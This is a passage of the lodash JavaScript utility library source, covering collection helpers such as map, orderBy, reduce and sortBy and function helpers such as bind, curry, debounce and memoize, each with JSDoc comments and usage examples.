*/
var keyBy = createAggregator(function(result, value, key) {
baseAssignValue(result, key, value);
});
/**
* Creates an array of values by running each element in `collection` thru
* `iteratee`. The iteratee is invoked with three arguments:
* (value, index|key, collection).
*
* Many lodash methods are guarded to work as iteratees for methods like
* `_.every`, `_.filter`, `_.map`, `_.mapValues`, `_.reject`, and `_.some`.
*
* The guarded methods are:
* `ary`, `chunk`, `curry`, `curryRight`, `drop`, `dropRight`, `every`,
* `fill`, `invert`, `parseInt`, `random`, `range`, `rangeRight`, `repeat`,
* `sampleSize`, `slice`, `some`, `sortBy`, `split`, `take`, `takeRight`,
* `template`, `trim`, `trimEnd`, `trimStart`, and `words`
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new mapped array.
* @example
*
* function square(n) {
* return n * n;
* }
*
* _.map([4, 8], square);
* // => [16, 64]
*
* _.map({ 'a': 4, 'b': 8 }, square);
* // => [16, 64] (iteration order is not guaranteed)
*
* var users = [
* { 'user': 'barney' },
* { 'user': 'fred' }
* ];
*
* // The `_.property` iteratee shorthand.
* _.map(users, 'user');
* // => ['barney', 'fred']
*/
function map(collection, iteratee) {
var func = isArray(collection) ? arrayMap : baseMap;
return func(collection, getIteratee(iteratee, 3));
}
/**
* This method is like `_.sortBy` except that it allows specifying the sort
* orders of the iteratees to sort by. If `orders` is unspecified, all values
* are sorted in ascending order. Otherwise, specify an order of "desc" for
* descending or "asc" for ascending sort order of corresponding values.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Array[]|Function[]|Object[]|string[]} [iteratees=[_.identity]]
* The iteratees to sort by.
* @param {string[]} [orders] The sort orders of `iteratees`.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
* @returns {Array} Returns the new sorted array.
* @example
*
* var users = [
* { 'user': 'fred', 'age': 48 },
* { 'user': 'barney', 'age': 34 },
* { 'user': 'fred', 'age': 40 },
* { 'user': 'barney', 'age': 36 }
* ];
*
* // Sort by `user` in ascending order and by `age` in descending order.
* _.orderBy(users, ['user', 'age'], ['asc', 'desc']);
* // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 40]]
*/
function orderBy(collection, iteratees, orders, guard) {
if (collection == null) {
return [];
}
if (!isArray(iteratees)) {
iteratees = iteratees == null ? [] : [iteratees];
}
orders = guard ? undefined : orders;
if (!isArray(orders)) {
orders = orders == null ? [] : [orders];
}
return baseOrderBy(collection, iteratees, orders);
}
/**
* Creates an array of elements split into two groups, the first of which
* contains elements `predicate` returns truthy for, the second of which
* contains elements `predicate` returns falsey for. The predicate is
* invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 3.0.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the array of grouped elements.
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': false },
* { 'user': 'fred', 'age': 40, 'active': true },
* { 'user': 'pebbles', 'age': 1, 'active': false }
* ];
*
* _.partition(users, function(o) { return o.active; });
* // => objects for [['fred'], ['barney', 'pebbles']]
*
* // The `_.matches` iteratee shorthand.
* _.partition(users, { 'age': 1, 'active': false });
* // => objects for [['pebbles'], ['barney', 'fred']]
*
* // The `_.matchesProperty` iteratee shorthand.
* _.partition(users, ['active', false]);
* // => objects for [['barney', 'pebbles'], ['fred']]
*
* // The `_.property` iteratee shorthand.
* _.partition(users, 'active');
* // => objects for [['fred'], ['barney', 'pebbles']]
*/
var partition = createAggregator(function(result, value, key) {
result[key ? 0 : 1].push(value);
}, function() { return [[], []]; });
/**
* Reduces `collection` to a value which is the accumulated result of running
* each element in `collection` thru `iteratee`, where each successive
* invocation is supplied the return value of the previous. If `accumulator`
* is not given, the first element of `collection` is used as the initial
* value. The iteratee is invoked with four arguments:
* (accumulator, value, index|key, collection).
*
* Many lodash methods are guarded to work as iteratees for methods like
* `_.reduce`, `_.reduceRight`, and `_.transform`.
*
* The guarded methods are:
* `assign`, `defaults`, `defaultsDeep`, `includes`, `merge`, `orderBy`,
* and `sortBy`
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @param {*} [accumulator] The initial value.
* @returns {*} Returns the accumulated value.
* @see _.reduceRight
* @example
*
* _.reduce([1, 2], function(sum, n) {
* return sum + n;
* }, 0);
* // => 3
*
* _.reduce({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
* (result[value] || (result[value] = [])).push(key);
* return result;
* }, {});
* // => { '1': ['a', 'c'], '2': ['b'] } (iteration order is not guaranteed)
*/
function reduce(collection, iteratee, accumulator) {
var func = isArray(collection) ? arrayReduce : baseReduce,
initAccum = arguments.length < 3;
return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEach);
}
/**
* This method is like `_.reduce` except that it iterates over elements of
* `collection` from right to left.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @param {*} [accumulator] The initial value.
* @returns {*} Returns the accumulated value.
* @see _.reduce
* @example
*
* var array = [[0, 1], [2, 3], [4, 5]];
*
* _.reduceRight(array, function(flattened, other) {
* return flattened.concat(other);
* }, []);
* // => [4, 5, 2, 3, 0, 1]
*/
function reduceRight(collection, iteratee, accumulator) {
var func = isArray(collection) ? arrayReduceRight : baseReduce,
initAccum = arguments.length < 3;
return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEachRight);
}
/**
* The opposite of `_.filter`; this method returns the elements of `collection`
* that `predicate` does **not** return truthy for.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new filtered array.
* @see _.filter
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': false },
* { 'user': 'fred', 'age': 40, 'active': true }
* ];
*
* _.reject(users, function(o) { return !o.active; });
* // => objects for ['fred']
*
* // The `_.matches` iteratee shorthand.
* _.reject(users, { 'age': 40, 'active': true });
* // => objects for ['barney']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.reject(users, ['active', false]);
* // => objects for ['fred']
*
* // The `_.property` iteratee shorthand.
* _.reject(users, 'active');
* // => objects for ['barney']
*/
function reject(collection, predicate) {
var func = isArray(collection) ? arrayFilter : baseFilter;
return func(collection, negate(getIteratee(predicate, 3)));
}
/**
* Gets a random element from `collection`.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Collection
* @param {Array|Object} collection The collection to sample.
* @returns {*} Returns the random element.
* @example
*
* _.sample([1, 2, 3, 4]);
* // => 2
*/
function sample(collection) {
var func = isArray(collection) ? arraySample : baseSample;
return func(collection);
}
/**
* Gets `n` random elements at unique keys from `collection` up to the
* size of `collection`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Collection
* @param {Array|Object} collection The collection to sample.
* @param {number} [n=1] The number of elements to sample.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the random elements.
* @example
*
* _.sampleSize([1, 2, 3], 2);
* // => [3, 1]
*
* _.sampleSize([1, 2, 3], 4);
* // => [2, 3, 1]
*/
function sampleSize(collection, n, guard) {
if ((guard ? isIterateeCall(collection, n, guard) : n === undefined)) {
n = 1;
} else {
n = toInteger(n);
}
var func = isArray(collection) ? arraySampleSize : baseSampleSize;
return func(collection, n);
}
/**
* Creates an array of shuffled values, using a version of the
* [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher-Yates_shuffle).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to shuffle.
* @returns {Array} Returns the new shuffled array.
* @example
*
* _.shuffle([1, 2, 3, 4]);
* // => [4, 1, 3, 2]
*/
function shuffle(collection) {
var func = isArray(collection) ? arrayShuffle : baseShuffle;
return func(collection);
}
/**
* Gets the size of `collection` by returning its length for array-like
* values or the number of own enumerable string keyed properties for objects.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object|string} collection The collection to inspect.
* @returns {number} Returns the collection size.
* @example
*
* _.size([1, 2, 3]);
* // => 3
*
* _.size({ 'a': 1, 'b': 2 });
* // => 2
*
* _.size('pebbles');
* // => 7
*/
function size(collection) {
if (collection == null) {
return 0;
}
if (isArrayLike(collection)) {
return isString(collection) ? stringSize(collection) : collection.length;
}
var tag = getTag(collection);
if (tag == mapTag || tag == setTag) {
return collection.size;
}
return baseKeys(collection).length;
}
/**
* Checks if `predicate` returns truthy for **any** element of `collection`.
* Iteration is stopped once `predicate` returns truthy. The predicate is
* invoked with three arguments: (value, index|key, collection).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {boolean} Returns `true` if any element passes the predicate check,
* else `false`.
* @example
*
* _.some([null, 0, 'yes', false], Boolean);
* // => true
*
* var users = [
* { 'user': 'barney', 'active': true },
* { 'user': 'fred', 'active': false }
* ];
*
* // The `_.matches` iteratee shorthand.
* _.some(users, { 'user': 'barney', 'active': false });
* // => false
*
* // The `_.matchesProperty` iteratee shorthand.
* _.some(users, ['active', false]);
* // => true
*
* // The `_.property` iteratee shorthand.
* _.some(users, 'active');
* // => true
*/
function some(collection, predicate, guard) {
var func = isArray(collection) ? arraySome : baseSome;
if (guard && isIterateeCall(collection, predicate, guard)) {
predicate = undefined;
}
return func(collection, getIteratee(predicate, 3));
}
/**
* Creates an array of elements, sorted in ascending order by the results of
* running each element in a collection thru each iteratee. This method
* performs a stable sort, that is, it preserves the original sort order of
* equal elements. The iteratees are invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 0.1.0
* @category Collection
* @param {Array|Object} collection The collection to iterate over.
* @param {...(Function|Function[])} [iteratees=[_.identity]]
* The iteratees to sort by.
* @returns {Array} Returns the new sorted array.
* @example
*
* var users = [
* { 'user': 'fred', 'age': 48 },
* { 'user': 'barney', 'age': 36 },
* { 'user': 'fred', 'age': 30 },
* { 'user': 'barney', 'age': 34 }
* ];
*
* _.sortBy(users, [function(o) { return o.user; }]);
* // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 30]]
*
* _.sortBy(users, ['user', 'age']);
* // => objects for [['barney', 34], ['barney', 36], ['fred', 30], ['fred', 48]]
*/
var sortBy = baseRest(function(collection, iteratees) {
if (collection == null) {
return [];
}
var length = iteratees.length;
if (length > 1 && isIterateeCall(collection, iteratees[0], iteratees[1])) {
iteratees = [];
} else if (length > 2 && isIterateeCall(iteratees[0], iteratees[1], iteratees[2])) {
iteratees = [iteratees[0]];
}
return baseOrderBy(collection, baseFlatten(iteratees, 1), []);
});
/*------------------------------------------------------------------------*/
/**
* Gets the timestamp of the number of milliseconds that have elapsed since
* the Unix epoch (1 January 1970 00:00:00 UTC).
*
* @static
* @memberOf _
* @since 2.4.0
* @category Date
* @returns {number} Returns the timestamp.
* @example
*
* _.defer(function(stamp) {
* console.log(_.now() - stamp);
* }, _.now());
* // => Logs the number of milliseconds it took for the deferred invocation.
*/
var now = ctxNow || function() {
return root.Date.now();
};
/*------------------------------------------------------------------------*/
/**
* The opposite of `_.before`; this method creates a function that invokes
* `func` once it's called `n` or more times.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {number} n The number of calls before `func` is invoked.
* @param {Function} func The function to restrict.
* @returns {Function} Returns the new restricted function.
* @example
*
* var saves = ['profile', 'settings'];
*
* var done = _.after(saves.length, function() {
* console.log('done saving!');
* });
*
* _.forEach(saves, function(type) {
* asyncSave({ 'type': type, 'complete': done });
* });
* // => Logs 'done saving!' after the two async saves have completed.
*/
function after(n, func) {
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
n = toInteger(n);
return function() {
if (--n < 1) {
return func.apply(this, arguments);
}
};
}
/**
* Creates a function that invokes `func`, with up to `n` arguments,
* ignoring any additional arguments.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Function
* @param {Function} func The function to cap arguments for.
* @param {number} [n=func.length] The arity cap.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Function} Returns the new capped function.
* @example
*
* _.map(['6', '8', '10'], _.ary(parseInt, 1));
* // => [6, 8, 10]
*/
function ary(func, n, guard) {
n = guard ? undefined : n;
n = (func && n == null) ? func.length : n;
return createWrap(func, WRAP_ARY_FLAG, undefined, undefined, undefined, undefined, n);
}
/**
* Creates a function that invokes `func`, with the `this` binding and arguments
* of the created function, while it's called less than `n` times. Subsequent
* calls to the created function return the result of the last `func` invocation.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Function
* @param {number} n The number of calls at which `func` is no longer invoked.
* @param {Function} func The function to restrict.
* @returns {Function} Returns the new restricted function.
* @example
*
* jQuery(element).on('click', _.before(5, addContactToList));
* // => Allows adding up to 4 contacts to the list.
*/
function before(n, func) {
var result;
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
n = toInteger(n);
return function() {
if (--n > 0) {
result = func.apply(this, arguments);
}
if (n <= 1) {
func = undefined;
}
return result;
};
}
/**
* Creates a function that invokes `func` with the `this` binding of `thisArg`
* and `partials` prepended to the arguments it receives.
*
* The `_.bind.placeholder` value, which defaults to `_` in monolithic builds,
* may be used as a placeholder for partially applied arguments.
*
* **Note:** Unlike native `Function#bind`, this method doesn't set the "length"
* property of bound functions.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to bind.
* @param {*} thisArg The `this` binding of `func`.
* @param {...*} [partials] The arguments to be partially applied.
* @returns {Function} Returns the new bound function.
* @example
*
* function greet(greeting, punctuation) {
* return greeting + ' ' + this.user + punctuation;
* }
*
* var object = { 'user': 'fred' };
*
* var bound = _.bind(greet, object, 'hi');
* bound('!');
* // => 'hi fred!'
*
* // Bound with placeholders.
* var bound = _.bind(greet, object, _, '!');
* bound('hi');
* // => 'hi fred!'
*/
var bind = baseRest(function(func, thisArg, partials) {
var bitmask = WRAP_BIND_FLAG;
if (partials.length) {
var holders = replaceHolders(partials, getHolder(bind));
bitmask |= WRAP_PARTIAL_FLAG;
}
return createWrap(func, bitmask, thisArg, partials, holders);
});
/**
* Creates a function that invokes the method at `object[key]` with `partials`
* prepended to the arguments it receives.
*
* This method differs from `_.bind` by allowing bound functions to reference
* methods that may be redefined or don't yet exist. See
* [Peter Michaux's article](http://peter.michaux.ca/articles/lazy-function-definition-pattern)
* for more details.
*
* The `_.bindKey.placeholder` value, which defaults to `_` in monolithic
* builds, may be used as a placeholder for partially applied arguments.
*
* @static
* @memberOf _
* @since 0.10.0
* @category Function
* @param {Object} object The object to invoke the method on.
* @param {string} key The key of the method.
* @param {...*} [partials] The arguments to be partially applied.
* @returns {Function} Returns the new bound function.
* @example
*
* var object = {
* 'user': 'fred',
* 'greet': function(greeting, punctuation) {
* return greeting + ' ' + this.user + punctuation;
* }
* };
*
* var bound = _.bindKey(object, 'greet', 'hi');
* bound('!');
* // => 'hi fred!'
*
* object.greet = function(greeting, punctuation) {
* return greeting + 'ya ' + this.user + punctuation;
* };
*
* bound('!');
* // => 'hiya fred!'
*
* // Bound with placeholders.
* var bound = _.bindKey(object, 'greet', _, '!');
* bound('hi');
* // => 'hiya fred!'
*/
var bindKey = baseRest(function(object, key, partials) {
var bitmask = WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG;
if (partials.length) {
var holders = replaceHolders(partials, getHolder(bindKey));
bitmask |= WRAP_PARTIAL_FLAG;
}
return createWrap(key, bitmask, object, partials, holders);
});
/**
* Creates a function that accepts arguments of `func` and either invokes
* `func` returning its result, if at least `arity` number of arguments have
* been provided, or returns a function that accepts the remaining `func`
* arguments, and so on. The arity of `func` may be specified if `func.length`
* is not sufficient.
*
* The `_.curry.placeholder` value, which defaults to `_` in monolithic builds,
* may be used as a placeholder for provided arguments.
*
* **Note:** This method doesn't set the "length" property of curried functions.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Function
* @param {Function} func The function to curry.
* @param {number} [arity=func.length] The arity of `func`.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Function} Returns the new curried function.
* @example
*
* var abc = function(a, b, c) {
* return [a, b, c];
* };
*
* var curried = _.curry(abc);
*
* curried(1)(2)(3);
* // => [1, 2, 3]
*
* curried(1, 2)(3);
* // => [1, 2, 3]
*
* curried(1, 2, 3);
* // => [1, 2, 3]
*
* // Curried with placeholders.
* curried(1)(_, 3)(2);
* // => [1, 2, 3]
*/
function curry(func, arity, guard) {
arity = guard ? undefined : arity;
var result = createWrap(func, WRAP_CURRY_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
result.placeholder = curry.placeholder;
return result;
}
/**
* This method is like `_.curry` except that arguments are applied to `func`
* in the manner of `_.partialRight` instead of `_.partial`.
*
* The `_.curryRight.placeholder` value, which defaults to `_` in monolithic
* builds, may be used as a placeholder for provided arguments.
*
* **Note:** This method doesn't set the "length" property of curried functions.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Function
* @param {Function} func The function to curry.
* @param {number} [arity=func.length] The arity of `func`.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Function} Returns the new curried function.
* @example
*
* var abc = function(a, b, c) {
* return [a, b, c];
* };
*
* var curried = _.curryRight(abc);
*
* curried(3)(2)(1);
* // => [1, 2, 3]
*
* curried(2, 3)(1);
* // => [1, 2, 3]
*
* curried(1, 2, 3);
* // => [1, 2, 3]
*
* // Curried with placeholders.
* curried(3)(1, _)(2);
* // => [1, 2, 3]
*/
function curryRight(func, arity, guard) {
arity = guard ? undefined : arity;
var result = createWrap(func, WRAP_CURRY_RIGHT_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
result.placeholder = curryRight.placeholder;
return result;
}
/**
* Creates a debounced function that delays invoking `func` until after `wait`
* milliseconds have elapsed since the last time the debounced function was
* invoked. The debounced function comes with a `cancel` method to cancel
* delayed `func` invocations and a `flush` method to immediately invoke them.
* Provide `options` to indicate whether `func` should be invoked on the
* leading and/or trailing edge of the `wait` timeout. The `func` is invoked
* with the last arguments provided to the debounced function. Subsequent
* calls to the debounced function return the result of the last `func`
* invocation.
*
* **Note:** If `leading` and `trailing` options are `true`, `func` is
* invoked on the trailing edge of the timeout only if the debounced function
* is invoked more than once during the `wait` timeout.
*
* If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
* until to the next tick, similar to `setTimeout` with a timeout of `0`.
*
* See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
* for details over the differences between `_.debounce` and `_.throttle`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to debounce.
* @param {number} [wait=0] The number of milliseconds to delay.
* @param {Object} [options={}] The options object.
* @param {boolean} [options.leading=false]
* Specify invoking on the leading edge of the timeout.
* @param {number} [options.maxWait]
* The maximum time `func` is allowed to be delayed before it's invoked.
* @param {boolean} [options.trailing=true]
* Specify invoking on the trailing edge of the timeout.
* @returns {Function} Returns the new debounced function.
* @example
*
* // Avoid costly calculations while the window size is in flux.
* jQuery(window).on('resize', _.debounce(calculateLayout, 150));
*
* // Invoke `sendMail` when clicked, debouncing subsequent calls.
* jQuery(element).on('click', _.debounce(sendMail, 300, {
* 'leading': true,
* 'trailing': false
* }));
*
* // Ensure `batchLog` is invoked once after 1 second of debounced calls.
* var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
* var source = new EventSource('/stream');
* jQuery(source).on('message', debounced);
*
* // Cancel the trailing debounced invocation.
* jQuery(window).on('popstate', debounced.cancel);
*/
function debounce(func, wait, options) {
var lastArgs,
lastThis,
maxWait,
result,
timerId,
lastCallTime,
lastInvokeTime = 0,
leading = false,
maxing = false,
trailing = true;
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
wait = toNumber(wait) || 0;
if (isObject(options)) {
leading = !!options.leading;
maxing = 'maxWait' in options;
maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
trailing = 'trailing' in options ? !!options.trailing : trailing;
}
function invokeFunc(time) {
var args = lastArgs,
thisArg = lastThis;
lastArgs = lastThis = undefined;
lastInvokeTime = time;
result = func.apply(thisArg, args);
return result;
}
function leadingEdge(time) {
// Reset any `maxWait` timer.
lastInvokeTime = time;
// Start the timer for the trailing edge.
timerId = setTimeout(timerExpired, wait);
// Invoke the leading edge.
return leading ? invokeFunc(time) : result;
}
function remainingWait(time) {
var timeSinceLastCall = time - lastCallTime,
timeSinceLastInvoke = time - lastInvokeTime,
timeWaiting = wait - timeSinceLastCall;
return maxing
? nativeMin(timeWaiting, maxWait - timeSinceLastInvoke)
: timeWaiting;
}
function shouldInvoke(time) {
var timeSinceLastCall = time - lastCallTime,
timeSinceLastInvoke = time - lastInvokeTime;
// Either this is the first call, activity has stopped and we're at the
// trailing edge, the system time has gone backwards and we're treating
// it as the trailing edge, or we've hit the `maxWait` limit.
return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
(timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
}
function timerExpired() {
var time = now();
if (shouldInvoke(time)) {
return trailingEdge(time);
}
// Restart the timer.
timerId = setTimeout(timerExpired, remainingWait(time));
}
function trailingEdge(time) {
timerId = undefined;
// Only invoke if we have `lastArgs` which means `func` has been
// debounced at least once.
if (trailing && lastArgs) {
return invokeFunc(time);
}
lastArgs = lastThis = undefined;
return result;
}
function cancel() {
if (timerId !== undefined) {
clearTimeout(timerId);
}
lastInvokeTime = 0;
lastArgs = lastCallTime = lastThis = timerId = undefined;
}
function flush() {
return timerId === undefined ? result : trailingEdge(now());
}
function debounced() {
var time = now(),
isInvoking = shouldInvoke(time);
lastArgs = arguments;
lastThis = this;
lastCallTime = time;
if (isInvoking) {
if (timerId === undefined) {
return leadingEdge(lastCallTime);
}
if (maxing) {
// Handle invocations in a tight loop.
clearTimeout(timerId);
timerId = setTimeout(timerExpired, wait);
return invokeFunc(lastCallTime);
}
}
if (timerId === undefined) {
timerId = setTimeout(timerExpired, wait);
}
return result;
}
debounced.cancel = cancel;
debounced.flush = flush;
return debounced;
}
/**
* Defers invoking the `func` until the current call stack has cleared. Any
* additional arguments are provided to `func` when it's invoked.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to defer.
* @param {...*} [args] The arguments to invoke `func` with.
* @returns {number} Returns the timer id.
* @example
*
* _.defer(function(text) {
* console.log(text);
* }, 'deferred');
* // => Logs 'deferred' after one millisecond.
*/
var defer = baseRest(function(func, args) {
return baseDelay(func, 1, args);
});
/**
* Invokes `func` after `wait` milliseconds. Any additional arguments are
* provided to `func` when it's invoked.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to delay.
* @param {number} wait The number of milliseconds to delay invocation.
* @param {...*} [args] The arguments to invoke `func` with.
* @returns {number} Returns the timer id.
* @example
*
* _.delay(function(text) {
* console.log(text);
* }, 1000, 'later');
* // => Logs 'later' after one second.
*/
var delay = baseRest(function(func, wait, args) {
return baseDelay(func, toNumber(wait) || 0, args);
});
/**
* Creates a function that invokes `func` with arguments reversed.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Function
* @param {Function} func The function to flip arguments for.
* @returns {Function} Returns the new flipped function.
* @example
*
* var flipped = _.flip(function() {
* return _.toArray(arguments);
* });
*
* flipped('a', 'b', 'c', 'd');
* // => ['d', 'c', 'b', 'a']
*/
function flip(func) {
return createWrap(func, WRAP_FLIP_FLAG);
}
/**
* Creates a function that memoizes the result of `func`. If `resolver` is
* provided, it determines the cache key for storing the result based on the
* arguments provided to the memoized function. By default, the first argument
* provided to the memoized function is used as the map cache key. The `func`
* is invoked with the `this` binding of the memoized function.
*
* **Note:** The cache is exposed as the `cache` property on the memoized
* function. Its creation may be customized by replacing the `_.memoize.Cache`
* constructor with one whose instances implement the
* [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object)
* method interface of `clear`, `delete`, `get`, `has`, and `set`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to have its output memoized.
* @param {Function} [resolver] The function to resolve the cache key.
* @returns {Function} Returns the new memoized function.
* @example
*
* var object = { 'a': 1, 'b': 2 };
* var other = { 'c': 3, 'd': 4 };
*
* var values = _.memoize(_.values);
* values(object);
* // => [1, 2]
*
* values(other);
* // => [3, 4]
*
* object.a = 2;
* values(object);
* // => [1, 2]
*
* // Modify the result cache.
* values.cache.set(object, ['a', 'b']);
* values(object);
* // => ['a', 'b']
*
* // Replace `_.memoize.Cache`.
* _.memoize.Cache = WeakMap;
*/
function memoize(func, resolver) {
if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) {
throw new TypeError(FUNC_ERROR_TEXT);
}
var memoized = function() {
var args = arguments,
key = resolver ? resolver.apply(this, args) : args[0],
cache = memoized.cache;
if (cache.has(key)) {
return cache.get(key);
}
var result = func.apply(this, args);
memoized.cache = cache.set(key, result) || cache;
return result;
};
memoized.cache = new (memoize.Cache || MapCache);
return memoized;
}
// Expose `MapCache`.
memoize.Cache = MapCache;
/**
* Creates a function that negates the result of the predicate `func`. The
* `func` predicate is invoked with the `this` binding and arguments of the
* created function.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Function
* @param {Function} predicate The predicate to negate.
* @returns {Function} Returns the new negated function.
* @example
*
* function isEven(n) {
* return n % 2 == 0;
* }
*
* _.filter([1, 2, 3, 4, 5, 6], _.negate(isEven));
* // => [1, 3, 5]
*/
function negate(predicate) {
if (typeof predicate != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
return function() {
var args = arguments;
switch (args.length) {
case 0: return !predicate.call(this);
case 1: return !predicate.call(this, args[0]);
case 2: return !predicate.call(this, args[0], args[1]);
case 3: return !predicate.call(this, args[0], args[1], args[2]);
}
return !predicate.apply(this, args);
};
}
/**
* Creates a function that is restricted to invoking `func` once. Repeat calls
* to the function return the value of the first invocation. The `func` is
* invoked with the `this` binding and arguments of the created function.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Function
* @param {Function} func The function to restrict.
* @returns {Function} Returns the new restricted function.
* @example
*
* var initialize = _.once(createApplication);
* initialize();
* initialize();
* // => `createApplication` is invoked once
*/
function once(func) {
return before(2, func);
}
/**
* Creates a function that invokes `func` with its arguments transformed.
*
* @static
* @since 4.0.0
* @memberOf _
* @category Function
* @param {Function} func The function to wrap.
* @param {...(Function|Function[])} [transforms=[_.identity]]
* The argument transforms.
* @returns {Function} Returns the new function.
* @example
*
* function doubled(n) {
* return n * 2;
* }
*
* function square(n) {
* return n * n;
* }
*
* var func = _.overArgs(function(x, y) {
* return [x, y];
* }, [square, doubled]);
*
* func(9, 3);
* // => [81, 6]
*
* func(10, 5);
* // => [100, 10]
*/
var overArgs = castRest(function(func, transforms) {
transforms = (transforms.length == 1 && isArray(transforms[0]))
? arrayMap(transforms[0], baseUnary(getIteratee()))
: arrayMap(baseFlatten(transforms, 1), baseUnary(getIteratee()));
var funcsLength = transforms.length;
return baseRest(function(args) {
var index = -1,
length = nativeMin(args.length, funcsLength);
while (++index < length) {
args[index] = transforms[index].call(this, args[index]);
}
return apply(func, this, args);
});
});
/**
* Creates a function that invokes `func` with `partials` prepended to the
* arguments it receives. This method is like `_.bind` except it does **not**
* alter the `this` binding.
*
* The `_.partial.placeholder` value, which defaults to `_` in monolithic
* builds, may be used as a placeholder for partially applied arguments.
*
* **Note:** This method doesn't set the "length" property of partially
* applied functions.
*
* @static
* @memberOf _
* @since 0.2.0
* @category Function
* @param {Function} func The function to partially apply arguments to.
* @param {...*} [partials] The arguments to be partially applied.
* @returns {Function} Returns the new partially applied function.
* @example
*
* function greet(greeting, name) {
* return greeting + ' ' + name;
* }
*
* var sayHelloTo = _.partial(greet, 'hello');
* sayHelloTo('fred');
* // => 'hello fred'
*
* // Partially applied with placeholders.
* var greetFred = _.partial(greet, _, 'fred');
* greetFred('hi');
* // => 'hi fred'
*/
var partial = baseRest(function(func, partials) {
var holders = replaceHolders(partials, getHolder(partial));
return createWrap(func, WRAP_PARTIAL_FLAG, undefined, partials, holders);
});
/**
* This method is like `_.partial` except that partially applied arguments
* are appended to the arguments it receives.
*
* The `_.partialRight.placeholder` value, which defaults to `_` in monolithic
* builds, may be used as a placeholder for partially applied arguments.
*
* **Note:** This method doesn't set the "length" property of partially
* applied functions.
*
* @static
* @memberOf _
* @since 1.0.0
* @category Function
* @param {Function} func The function to partially apply arguments to.
* @param {...*} [partials] The arguments to be partially applied.
* @returns {Function} Returns the new partially applied function.
* @example
*
* function greet(greeting, name) {
* return greeting + ' ' + name;
* }
*
* var greetFred = _.partialRight(greet, 'fred');
* greetFred('hi');
* // => 'hi fred'
*
* // Partially applied with placeholders.
* var sayHelloTo = _.partialRight(greet, 'hello', _);
* sayHelloTo('fred');
* // => 'hello fred'
*/
var partialRight = baseRest(function(func, partials) {
var holders = replaceHolders(partials, getHolder(partialRight));
return createWrap(func, WRAP_PARTIAL_RIGHT_FLAG, undefined, partials, holders);
});
/**
* Creates a function that invokes `func` with arguments arranged according
* to the specified `indexes` where the argument value at the first index is
* provided as the first argument, the argument value at the second index is
* provided as the second argument, and so on.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Function
* @param {Function} func The function to rearrange arguments for.
